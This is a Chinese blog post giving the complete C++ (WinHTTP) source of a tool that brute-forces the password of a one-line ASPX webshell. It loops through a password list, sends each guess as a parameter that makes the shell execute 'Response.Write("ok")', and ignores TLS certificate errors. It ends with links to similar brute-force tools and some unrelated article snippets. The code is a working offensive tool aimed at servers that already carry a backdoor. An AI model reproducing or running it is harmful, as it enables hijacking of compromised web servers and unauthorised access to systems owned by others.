ASPX一句话爆破工具
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include <string.h>
#include <string>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib") void banner() //显示banner
{
printf("[-]:Webshell Aspx crack T00ls\r\n[-]:Welcome www.90sec.org\r\n");
} int _tmain(int argc, _TCHAR * argv [])
{
DWORD dwsize = 0;
LPSTR pszOutBuffer;
LPBYTE lpHeader, lpData;
LPCWSTR Host = argv[1];
LPCWSTR Url = argv[2];
char buf[MAX_PATH] = {0}; //fgets接收字符串
FILE* fp;
int i = 0; if (argc < 4) //如果入口长度小于4
{
banner();
printf("[-]:%S Host Domain_Url Password_List\r\n",argv[0]);
return 0;
} if ((fp = _wfopen(argv[3],L"rb")) == NULL) //打开文件,如果不存在
{
printf("File not found\r\n"); //打印错误
return 0;
}
while ((fgets(buf,MAX_PATH,fp))) //这儿注意,fgets读取文件,默认一行尾端会增加一个回车,我就是在这儿卡了一晚上
{
buf[strlen(buf) - 2] = '\0'; //倒数第二个字符,也就是回车,替换 HINTERNET Hinternet = WinHttpOpen(L"HttpClient 1.0", //定义访问sessions
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,0);
if (Hinternet == NULL) //如果定义访问的sessions为空
{
printf("Failed to Initialize http sessions\r\n");
return 0;
} HINTERNET Hconnect = WinHttpConnect(Hinternet, //初始化连接
Host, //定义地址
INTERNET_DEFAULT_HTTPS_PORT,//默认端口443
0); if (Hconnect == NULL) //如果为空,就close winhttp句柄
{
printf("Hconnect error\r\n");
WinHttpCloseHandle(Hinternet);
return 0;
} WCHAR* res = new WCHAR[MAX_PATH + 1]; //释放内存,准备写入数据
wsprintf(res,L"%s?%S=Response.Write(\"ok\");Response.End()",Url,buf); //写入字符串到释放内存的变量里
HINTERNET Hrequest = WinHttpOpenRequest(Hconnect, //准备传输,定义好格式
L"GET",
res,
L"HTTP /1.1",
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE|WINHTTP_FLAG_REFRESH); if (Hrequest == NULL)
{
WinHttpCloseHandle(Hinternet);
WinHttpCloseHandle(Hconnect);
return 0;
} DWORD dwFlags;
DWORD dwBuffLen = sizeof(dwFlags);
WinHttpQueryOption (Hrequest, WINHTTP_OPTION_SECURITY_FLAGS, //设置查询选项
(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
dwFlags |= SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
dwFlags |= SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
dwFlags |= SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; WinHttpSetOption (Hrequest, WINHTTP_OPTION_SECURITY_FLAGS, //设置选项
&dwFlags, sizeof (dwFlags) ); if (WinHttpSendRequest(Hrequest, //发送数据
WINHTTP_NO_ADDITIONAL_HEADERS,0,
WINHTTP_NO_REQUEST_DATA,0,0,0) == FALSE)
{
DWORD err = GetLastError();
WinHttpCloseHandle(Hrequest);
WinHttpCloseHandle(Hconnect);
WinHttpCloseHandle(Hinternet);
return 0;
} if (WinHttpReceiveResponse(Hrequest,NULL) == FALSE) //开始读取相应
{
DWORD err = GetLastError();
WinHttpCloseHandle(Hrequest);
WinHttpCloseHandle(Hconnect);
WinHttpCloseHandle(Hinternet);
return 0;
} DWORD dwSize = 0;
if (!WinHttpQueryDataAvailable( Hrequest, &dwSize)) //检查是否还有数据接受
printf( "Error %u in WinHttpQueryDataAvailable.\n",
GetLastError()); WinHttpQueryHeaders(Hrequest, //查看http响应头
WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX,NULL,
&dwsize,WINHTTP_NO_HEADER_INDEX);
lpHeader = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dwsize); WinHttpQueryHeaders(Hrequest,
WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX,
lpHeader, &dwsize,
WINHTTP_NO_HEADER_INDEX);
HeapFree(GetProcessHeap(), 0, lpHeader);
DWORD dwDownloaded = 0;
pszOutBuffer = new char[dwSize+1];
if (!pszOutBuffer)
{
printf("Out of memory\n");
} ZeroMemory(pszOutBuffer, dwSize+1);
if (!WinHttpReadData( Hrequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
{
printf( "Error %u in WinHttpReadData.\n", GetLastError());
}
if (strstr(pszOutBuffer,"ok"))
{
printf("Line:%d-->Find password Success:%s\n",++i,buf);
return 0;
}else
{
printf("Line:%d-->password Not found:%s\n",++i,buf);
}
}
delete[] pszOutBuffer;
//delete[] res;
return 0;
}
ASPX一句话爆破工具的更多相关文章
- [原创]K8一句话密码爆破工具{秒破10万} 支持ASP/PHP/ASPX/JSP/CFM/DIY
工具: K8_FuckOneShell 20161224编译: VS2012 C# (.NET Framework v4.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http ...
- 一句话爆破速度提升一千倍python脚本
这个脚本是接地提供的思路,一句话爆破速度提升一千倍,看了他的帖子然而没有看到工具,思路很牛逼,我提供一个Python脚本本地测试了下,十万密码只需要3秒,速度还是可以的 # coding:utf-8 ...
- python 写的http后台弱口令爆破工具
今天来弄一个后台破解的Python小程序,哈哈,直接上代码吧,都有注释~~ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ...
- Python开发爆破工具
上一篇讲到了如何用Python开发字典,而当我们手里有了字典 就可以进一步去做爆破的任务了,可以用现成的工具,当然也可以自己写 接下来我就要一步一步来写爆破工具! 爆破MySQL: 想要爆破MySQL ...
- 基于nmap扫描结果的端口爆破工具:BrutesPray
大家搞内网或者C段渗透测试的时候可能遇到很多时候需要对大批的主机进行精确爆破,这时候BruteSpray就派上用场了. BruteSpray是一款基于nmap扫描输出的gnmap/XML文件.自动 ...
- 子域名收集之DNS字典爆破工具fierce与dnsdict6的使用
子域名收集之DNS字典爆破工具fierce与dnsdict6的使用 一.fierce 0.介绍 该工具是一个域名扫描综合性工具.它可以快速获取指定域名的DNS服务器,并检查是否存在区域传输(Zone ...
- SQL Server密码爆破工具SQLdict
SQL Server密码爆破工具SQLdict SQL Server是Windows系统常用的数据库服务器.它广泛采用用户名和密码方式,进行身份认证.Kali Linux提供一款专用的数据库密码爆破工 ...
- 网站模糊测试爆破工具Wfuzz
网站模糊测试爆破工具Wfuzz 模糊测试爆破使用模糊测试的方式对HTTP请求中的各个参数同时进行猜测爆破.例如,渗透测试人员可以采用不同的HTTP请求方式来访问由字典生成的网页路径,以判断网页目录 ...
- Oracle SID爆破工具SidGuess
Oracle SID爆破工具SidGuess 在Oracle中,SID是System IDentifier的缩写.SID是一个数据库的唯一标识符.当用户希望远程连接Oracle数据库时,则需要知道 ...
随机推荐
- Android———最详细的系统对话框(AlertDialog)详解
在实际应用开发中,用到系统对话框中的情况几乎是没有的.按开发流程来说,UI工程师都会给出每一个弹窗的样式,故而在实际开发中都是自定义弹窗的. 即使用到的地方不多,但是我们也是需要了解并且能熟练的运用它 ...
- NET Framework 4.5新特性 (一) 数据库的连接加密保护。
NET Framework 4.5 ado.net数据库连接支持使用SecureString内存流方式保密文本. 一旦使用这类操作,文本加密是私有不能共享的,并在不再需要时从计算机内存中删除. S ...
- 爬虫实战【6】Ajax内容解析-今日头条图集
Ajax技术 AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML). Ajax并不是新的编程语言,而是一种使用现有标准的新方法,当然 ...
- On the fly test
on the fly test就是边开发边测试的意思.test code不是早就生成好的,在一边生成code的同时一边做test running,最大的好处是,flexiable ,每一次可以选择不同 ...
- Introduction to Mathematical Thinking - Week 4
否定的逻辑 应该思考符号背后表示的逻辑,而不是像操作算术运算符一样操作逻辑符号. 比如 对于任意的 x,x属于自然数,那么 x 是偶数或者奇数:这是对的 如果使用“乘法分配律”拆分,变成“对于任意的x ...
- python字符串拼接相关
#字符串拼接#str.join(元组.列表.字典.字符串) 之后生成的只能是字符串.str = "-";seq = ("a", "b", & ...
- Intellij IDEA快捷键及常见问题
在java学习与开发中经常使用Intellij IDEA,为提高效率会使用快捷方式. 现在记录下经常使用到快捷键: Ctr l+ O 快速重写父类方法 Ctrl + Shift + / xml注释&l ...
- Pycharm中SQL语句提示SQL Dialect is Not Configured
解决办法: 在File---->Setting--->Languages & Frameworks--->SQL Dialects中,选择对应的数据库,如MySQL,之后点击 ...
- Sql多条件排序
多条件排序可以通过在order by语句后面使用case when then条件语句来实现. end 例子: 1.创建表case_test 共有id,case_type,case_location,c ...
- 剑指offer 面试45题
面试45题: 题:把数组排成最小的数 题目:输入一个正整数数组,把数组里所有数字拼接起来排成一个数,打印能拼接出的所有数字中最小的一个.例如输入数组{3,32,321},则打印出这三个数字能排成的最小 ...